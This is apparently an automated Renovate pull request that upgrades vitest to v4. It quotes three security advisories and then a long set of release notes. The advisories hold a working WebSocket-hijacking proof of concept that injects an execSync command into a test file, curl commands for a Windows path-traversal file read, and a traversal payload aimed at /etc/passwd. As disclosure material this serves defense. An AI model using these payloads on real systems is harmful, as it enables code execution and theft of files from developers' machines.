chore(deps): update dependency vitest to v4 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vitest (source)	^2.0.5 → ^4.0.0

---

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

1. Open Vitest UI.
2. Access a malicious web site with the script below.
3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

• CVSS Score: 9.6 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

• https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq
• https://github.com/vitest-dev/vitest/commit/191ef9e34c867d0efd04f49b3d38193a68e825dc
• https://github.com/vitest-dev/vitest/commit/7ce9fbb4972d45c6fd34c843645ef6f549bbb241
• https://github.com/vitest-dev/vitest/commit/e0fe1d81e2d4bcddb1c6ca3c5c3970d8ba697383
• https://nvd.nist.gov/vuln/detail/CVE-2025-24964
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
• https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
• https://vitest.dev/config/#api
• https://github.com/advisories/GHSA-9crc-q9x8-hgqq

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

• explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
• running the Vitest UI or Browser Mode on Windows

Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC

1. Run Vitest UI
2. Get the API token by curl http://localhost:51204/__vitest__/
3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&contentType=text/plain&token=$TOKEN" (TOKEN is the API token)
4. curl shows the content of secret.txt that is outside the project directory

Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

• CVSS Score: 9.8 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/vitest-dev/vitest/security/advisories/GHSA-5xrq-8626-4rwp
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105
• https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121
• https://nvd.nist.gov/vuln/detail/CVE-2026-47429
• https://github.com/vitest-dev/vitest/pull/10445
• https://github.com/vitest-dev/vitest/pull/9350
• https://github.com/vitest-dev/vitest/commit/20e00ef7808de6d330c5e2fda530f686e08f1c8d
• https://github.com/vitest-dev/vitest/commit/af88b1f5d82844a4761ea9a977156c98e2b14ca8
• https://github.com/vitest-dev/vitest/releases/tag/v3.2.5
• https://github.com/vitest-dev/vitest/releases/tag/v4.1.0
• https://github.com/advisories/GHSA-5xrq-8626-4rwp

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Vitest: Path Traversal / Arbitrary File Read via @​vitest/mocker Redirect Mock

CVE-2026-84373 / GHSA-82fw-gwwq-j7x9

More information

Details

Summary

@vitest/mocker registers a redirect mock's target path without validating it
against the dev server's file-serving allowlist. An attacker who can reach the
dev server's WebSocket can register a redirect mock pointing outside the project
root; when the mocked module is requested, the plugin's load hook returns
readFile(<attacker path>) as the module source, disclosing local files.

This is exploitable without authentication only through the public
mockerPlugin / standalone interceptorPlugin exports (used by third-party dev
servers), which register the handler on Vite's unauthenticated HMR socket.
Vitest's own browser mode registers mocks over a token-authenticated RPC and
is not remotely reachable by default (see Scope).

Affected code

packages/mocker/src/node/interceptorPlugin.ts.

The load hook is the file-read sink:

if (mock.type === 'redirect') {
  return readFile(mock.redirect, 'utf-8')
}

mock.redirect is derived from client input at registration time with no
boundary check:

if (event.type === 'redirect') {
  const redirectUrl = new URL(event.redirect)
  event.redirect = join(server.config.root, redirectUrl.pathname)
}
registry.register(event)

There is no server.fs.allow / server.fs.deny check and no assertion that the
resolved path stays within the project root.

Registration paths and trust boundaries

• Public mockerPlugin / interceptorPlugin (unauthenticated). In
  configureServer, the plugin registers server.ws.on('vitest:interceptor:register', …)
  on Vite's HMR WebSocket. That socket performs no token, Origin, or same-origin
  check, so any client that can reach it can register a redirect mock. This is
  the path the "unauthenticated" impact applies to.
• Vitest browser mode (authenticated). Mocks register over the browser RPC
  (registerMock), which sits behind a per-run token (isValidApiRequest, a
  random api.token). The interceptor's configureServer socket is not used for
  registration here (in v5 it does not run at all, as the plugin is injected per
  environment). The same missing boundary check exists on the authenticated RPC
  path, but reaching it requires the token, so it is not a remote-unauthenticated
  read.

Path handling

new URL(redirect).pathname combined with join(root, pathname) does not
confine reads to the root:

• Special/hierarchical schemes (file:, http:) are normalized by WHATWG URL,
  so .. segments are collapsed and the result stays under the root. Payloads of
  the form file:///../../etc/passwd do not escape.
• A non-special (opaque) scheme preserves .. in pathname, so
  join(root, "../../…/etc/passwd") resolves outside the root and reads an
  arbitrary file.

Even without escaping the root, the missing server.fs check allows reading any
in-root file the dev server would otherwise refuse to serve (for example an
in-root .env or source that is denied by server.fs.deny).

Scope / preconditions

• This is a development-server issue. The dev server binds to localhost by
  default and is not reachable from the network unless the developer exposes it
  (server.host / 0.0.0.0, a LAN bind, or a proxy).
• A raw (non-browser) client against a reachable server bypasses browser origin
  and CORS protections entirely and can both register the mock and read the
  response.
• A browser-based drive-by against a localhost server is substantially mitigated
  by Vite defaults: the default CORS origin allowlist is limited to localhost
  origins, and server.allowedHosts blocks DNS-rebinding, so a cross-origin page
  cannot read the file contents back.

Impact

Disclosure of local files readable by the dev-server process (source, in-root
.env/secrets, and, via the opaque-scheme payload, files outside the project
root). No integrity or availability impact.

Affected versions

Present since @vitest/mocker was introduced.

• Affected: @vitest/mocker >= 2.1.0 (shipped in vitest and
  @vitest/browser >= 2.1.0), through 4.1.x and the 5.0.0 pre-releases.
• Fixed: Vitest 4.1.11 and 5.0.0. Older majors (2.1.x, 3.x) are not
  maintained and are not planned to receive the fix.

Fix

Validate the resolved redirect target against Vite's file-serving allowlist
(isFileLoadingAllowed) before registering it, at every registration site, and
stop registering the interceptor WebSocket events in Vitest's browser mode
(mocks there flow through the authenticated RPC).

Severity

• CVSS Score: 5.9 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9
• https://nvd.nist.gov/vuln/detail/CVE-2026-84373
• https://github.com/vitest-dev/vitest/pull/10972
• https://github.com/vitest-dev/vitest/pull/10974
• https://github.com/vitest-dev/vitest/commit/51edf2b072902aec6d30c90ebaafd8f121c6f9d8
• https://github.com/vitest-dev/vitest/commit/8ff9b9a9efca7c6cfd5243569440de8d7a33aec4
• https://github.com/vitest-dev/vitest/commit/fe5a11d3ceac5ec10d6d7d21a46d4caca132c48f
• https://github.com/vitest-dev/vitest/releases/tag/v4.1.11
• https://github.com/vitest-dev/vitest/releases/tag/v5.0.0-rc.2
• https://github.com/advisories/GHSA-82fw-gwwq-j7x9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

vitest-dev/vitest (vitest)

v4.1.11

Compare Source

   🐞 Bug Fixes

• Revive global concurrency limit for test lifecycle [backport to v4]  -  by @​sheremet-va and @​hi-ogawa in #​10992 (5146d)
• browser:
  • Encode iframeId in tester iframe URL [backport to v4]  -  by @​sheremet-va, Pduhard and Claude Opus 4.8 in #​10955 (10b2c)
  • Trigger playwright/chromium gc on lower disk availability [backport to v4]  -  by @​hi-ogawa, Hiroshi Ogawa and OpenCode in #​10951 (9851d)
• mocker:
  • Restrict redirect mocks to the fs allowlist [backport to v4]  -  by @​sheremet-va in #​10974 (fe5a1)

    View changes on GitHub

v4.1.10

Compare Source

   🐞 Bug Fixes

• browser: Check fs access in builtin commands [backport to v4]  -  by @​hi-ogawa, Hiroshi Ogawa and OpenCode (claude-opus-4-8) in #​10680 (5c18d)
• vm: Fix external module resolve error with deps optimizer query for encoded URI [backport to v4]  -  by @​SveLil and @​hi-ogawa in #​10661 (bae52)

    View changes on GitHub

v4.1.9

Compare Source

🐞 Bug Fixes

• Fix importOriginal with optimizer and query import [backport to v4] - by Hiroshi Ogawa, David Harris, Codexand Vladimir in #​10546 (a5180)
• browser:
  • Wait for orchestrator readiness before resolving browser sessions [backport to v4] - by Vladimir and Séamus O'Connor in #​10555 (7fb29)
  • Wait for iframe tester readiness before preparing [backport to v4] - by Vladimir and Séamus O'Connor in #​10497 and #​10556 (fbc62)
• mocker:
  • Hoist vi.mock() for vite-plus/test imports [backport to v4] - by Hiroshi Ogawa, LongYinan, Claude Opus 4.8 and Vladimir in #​10548 (2c955)
• pool:
  • Prevent test run hang on worker crash [backport to v4] - by Ari Perkkiö and Jattioui Ismail in #​10543 and #​10564 (934b0)

View changes on GitHub

v4.1.8

Compare Source

   🐞 Bug Fixes

• browser:
  • Disable client cdp API when allowWrite/allowExec: false [backport to v4]  -  by @​hi-ogawa and Codex in #​10450 (e4067)
  • Remove orphaned Playwright route when same module is mocked via multiple ids [backport to v4]  -  by @​toxik and @​Zelys-DFKH in #​10474 (675b4)

    View changes on GitHub

v4.1.7

Compare Source

   🐞 Bug Fixes

• runner: Limit concurrency per task branch in addition to per leaf callbacks (backport)  -  by @​hi-ogawa in #​10384 (4f0f2)

    View changes on GitHub

v4.1.6

Compare Source

   🐞 Bug Fixes

• browser: Provide project reference in ToMatchScreenshotResolvePath  -  by @​macarie and @​sheremet-va in #​10138 (31882)
• Global sequence.concurrent: true with top-level test(..., { concurrent: false }) + depreacte sequential test API and options  -  by @​hi-ogawa, Codex and @​sheremet-va in #​10196 (2847d)
• browser: Simplify orchestrator otel carrier  -  by @​hi-ogawa in #​10285 (18af9)

   🏎 Performance

• Stringify diff objects only once  -  by @​sheremet-va in #​10276 (9f7b1)

    View changes on GitHub

v4.1.5

Compare Source

   🚀 Experimental Features

• coverage: Istanbul to support instrumenter option  -  by @​BartWaardenburg and @​AriPerkkio in #​10119 (0e0ff)

   🐞 Bug Fixes

• --project negation excludes browser instances  -  by @​felamaslen in #​10131 (9423d)
• Project color label on html reporter  -  by @​hi-ogawa in #​10142 (596f7)
• Fix vi.defineHelper called as object method  -  by @​hi-ogawa in #​10163 (122c2)
• Alias agent reporter to minimal  -  by @​sheremet-va in #​10157 (663b9)
• Respect diff config options in soft assertions  -  by @​Copilot, sheremet-va and @​sheremet-va in #​8696 (9787d)
• Respect diff config options in soft assertions "  -  by @​sheremet-va in #​8696 (7dc6d)
• ast-collect: Recognize _vi_import prefix in static test discovery  -  by @​Yejneshwar in #​10129 (32546)
• coverage: Descriptive error message when reports directory is removed during test run  -  by @​DaveT1991 and @​AriPerkkio in #​10117 (14133)
• snapshot: Increase default snapshot max output length  -  by @​hi-ogawa and Codex in #​10150 (21e66)
• ui: Fix jsx/tsx syntax highlight  -  by @​hi-ogawa in #​10152 (f1b1f)
• web-worker: Support MessagePort objects referenced inside postMessage data  -  by @​whitphx and Claude Opus 4.6 (1M context) in #​9927 and #​10124 (7ad7d)
• api: Make test-specification options writable  -  by @​sheremet-va in #​10154 (6abd5)

    View changes on GitHub

v4.1.4

Compare Source

   🚀 Features

• coverage:
  • Default to text reporter skipFull if agent detected  -  by @​hi-ogawa in #​10018 (53757)
• experimental:
  • Expose assertion as a public field  -  by @​sheremet-va in #​10095 (a120e)
  • Support aria snapshot  -  by @​hi-ogawa, Claude Opus 4.6 (1M context), @​AriPerkkio, Codex and @​sheremet-va in #​9668 (d4fbb)
• reporter:
  • Add filterMeta option to json reporter  -  by @​nami8824 and @​sheremet-va in #​10078 (b77de)

   🐞 Bug Fixes

• Use "black" foreground for labeled terminal message to ensure contrast  -  by @​hi-ogawa in #​10076 (203f0)
• Make expect(..., message) consistent as error message prefix  -  by @​hi-ogawa and Codex in #​10068 (a1b5f)
• Do not hoist imports whose names match class properties .  -  by @​SunsetFi in #​10093 and #​10094 (0fc4b)
• browser: Spread user server options into browser Vite server in project  -  by @​GoldStrikeArch in #​10049 (65c9d)

    View changes on GitHub

v4.1.3

Compare Source

   🚀 Experimental Features

• Add experimental.preParse flag  -  by @​sheremet-va in #​10070 (78273)
• Support browser.locators.exact option  -  by @​sheremet-va in #​10013 (48799)
• Add TestAttachment.bodyEncoding  -  by @​hi-ogawa in #​9969 (89ca0)
• Support custom snapshot matcher  -  by @​hi-ogawa, Claude Sonnet 4.6 and Codex in #​9973 (59b0e)

   🐞 Bug Fixes

• Advance fake timers with expect.poll interval  -  by @​hi-ogawa and Claude Sonnet 4.6 in #​10022 (3f5bf)
• Add @vitest/coverage-v8 and @vitest/coverage-istanbul as optional dependency  -  by @​alan-agius4 in #​10025 (146d4)
• Fix defineHelper for webkit async stack trace + update playwright 1.59.0  -  by @​hi-ogawa in #​10036 (5a5fa)
• Fix suite hook throwing errors for unused auto test-scoped fixture  -  by @​hi-ogawa and Claude Sonnet 4.6 in #​10035 (39865)
• expect:
  • Remove JestExtendError.context from verbose error reporting  -  by @​hi-ogawa in #​9983 (66751)
  • Don't leak "runner" types  -  by @​sheremet-va in #​10004 (ec204)
• snapshot:
  • Fix flagging obsolete snapshots for snapshot properties mismatch  -  by @​hi-ogawa and Claude Sonnet 4.6 in #​9986 (6b869)
  • Export custom snapshot matcher helper from vitest  -  by @​hi-ogawa and Codex in #​10042 (691d3)
• ui:
  • Don't leak vite types  -  by @​sheremet-va in #​10005 (fdff1)
• vm:
  • Fix external module resolve error with deps optimizer query  -  by @​hi-ogawa and Claude Sonnet 4.6 in #​10024 (9dbf4)

    View changes on GitHub

v4.1.2

Compare Source

This release bumps Vitest's flatted version and removes version pinning to resolve flatted's CVE related issues (#​9975).

   🐞 Bug Fixes

• Don't resolve setupFiles from parent directory  -  by @​hi-ogawa in #​9960 (7aa93)
• Ensure sequential mock/unmock resolution  -  by @​hi-ogawa and Claude Opus 4.6 in #​9830 (7c065)
• browser: Take failure screenshot if toMatchScreenshot can't capture a stable screenshot  -  by @​macarie in #​9847 (faace)
• coverage: Correct coverageConfigDefaults values and types  -  by @​Arthie in #​9940 (b3c99)
• pretty-format: Fix output limit over counting  -  by @​hi-ogawa in #​9965 (d3b7a)
• Disable colors if agent is detected  -  by @​sheremet-va and @​AriPerkkio in #​9851 (6f97b)

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v4.1.1

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   🚀 Features

• experimental:
  • Expose matchesTagsFilter to test if the current filter matches tags  -  by @​sheremet-va in #​9913 (eec53)
  • Introduce experimental.vcsProvider  -  by @​sheremet-va in #​9928 (56115)

   🐞 Bug Fixes

• Mark TestProject.testFilesList internal properly  -  by @​sapphi-red in #​9867 (54f26)
• Detect fixture that returns without calling use  -  by @​oilater in #​9831 and #​9861 (633ae)
• Drop vite 8.beta support  -  by @​AriPerkkio in #​9862 (b78f5)
• Type regression in vi.mocked() static class methods  -  by @​purepear and @​hi-ogawa in #​9857 (90926)
• Properly re-evaluate actual modules of mocked external  -  by @​hi-ogawa in #​9898 (ae5ec)
• Preserve coverage report when html reporter overlaps  -  by @​hi-ogawa in #​9889 (2d81a)
• Provide vi.advanceTimers to the preview provider  -  by @​sheremet-va in #​9891 (1bc3e)
• Don't leak event listener in playwright provider  -  by @​sheremet-va in #​9910 (d9355)
• Open browser in --standalone mode without running tests  -  by @​sheremet-va in #​9911 (e78ad)
• Guard disposable and optional body  -  by @​sheremet-va in #​9912 (6fdb2)
• Resolve retry.condition RegExp serialization issue  -  by @​nstepien and @​hi-ogawa in #​9942 (7b605)
• collect:
  • Don't treat extra props on test return as tests  -  by @​sheremet-va in #​9871 (141e7)
• coverage:
  • Simplify provider types  -  by @​AriPerkkio in #​9931 (aaf9f)
  • Load built-in provider without module runner  -  by @​AriPerkkio in #​9939 (bf892)
• expect:
  • Soft assertions continue after .resolves/.rejects promise errors  -  by @​mixelburg, Maks Pikov, Claude Opus 4.6 (1M context) and @​hi-ogawa in #​9843 (6d74b)
  • Fix sinon-chai style API  -  by @​hi-ogawa in #​9943 (0f08d)
• pretty-format:
  • Limit output for large object  -  by @​hi-ogawa and Claude Opus 4.6 (1M context) in #​9949 (0d5f9)

    View changes on GitHub

v4.1.0

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Vitest 4.1 is out!

This release page lists all changes made to the project during the 4.1 beta. To get a review of all the new features, read our blog post.

   🚀 Features

• Return a disposable from doMock()  -  by @​kirkwaiblinger in #​9332 (e3e65)
• Added chai style assertions  -  by @​ronnakamoto and @​sheremet-va in #​8842 (841df)
• Update to sinon/fake-timers v15 and add setTickMode to timer controls  -  by @​atscott and @​sheremet-va in #​8726 (4b480)
• Expose matcher types  -  by @​sheremet-va in #​9448 (3e4b9)
• Add toTestSpecification to reported tasks  -  by @​sheremet-va in #​9464 (1a470)
• Show a warning if vi.mock or vi.hoisted are declared outside of top level of the module  -  by @​sheremet-va in #​9387 (5db54)
• Track and display expectedly failed tests (.fails) in UI and CLI  -  by @​Copilot, sheremet-va and @​sheremet-va in #​9476 (77d75)
• Support tags  -  by @​sheremet-va in #​9478 (de7c8)
• Implement aroundEach and aroundAll hooks  -  by @​sheremet-va in #​9450 (2a8cb)
• Stabilize experimental features  -  by @​sheremet-va in #​9529 (b5fd2)
• Accept new or all in --update flag  -  by @​sheremet-va in #​9543 (a5acf)
• Support meta in test options  -  by @​sheremet-va in #​9535 (7d622)
• Support type inference with a new test.extend syntax  -  by @​sheremet-va in #​9550 (e5385)
• Support vite 8 beta, fix type issues in the config with different vite versions  -  by @​sheremet-va in #​9587 (99028)
• Add assertion helper to hide internal stack traces  -  by @​hi-ogawa and Claude Opus 4.6 in #​9594 (eeb0a)
• Store failure screenshots using artifacts API  -  by @​macarie in #​9588 (24603)
• Allow vitest list to statically collect tests instead of running files to collect them  -  by @​sheremet-va in #​9630 (7a8e7)
• Add --detect-async-leaks  -  by @​AriPerkkio in #​9528 (c594d)
• Implement mockThrow and mockThrowOnce  -  by @​thor-juhasz and @​sheremet-va in #​9512 (61917)
• Support update: "none" and add docs about snapshots behavior on CI  -  by @​hi-ogawa in #​9700 (05f18)
• Support playwright launchOptions with connectOptions  -  by @​hi-ogawa in #​9702 (f0ff1)
• Add page/locator.mark API to enhance playwright trace  -  by @​hi-ogawa in #​9652 (d0ee5)
• api:
  • Support tests starting or ending with test in experimental_parseSpecification  -  by @​jgillick and Jeremy Gillick in #​9235 (2f367)
  • Add filters to createSpecification  -  by @​sheremet-va in #​9336 (c8e6c)
  • Expose runTestFiles as alternative to runTestSpecifications  -  by @​sheremet-va in #​9443 (43d76)
  • Add allowWrite and allowExec options to api  -  by @​sheremet-va in #​9350 (20e00)
  • Allow passing down test cases to toTestSpecification  -  by @​sheremet-va in [#​9627](https://redirect

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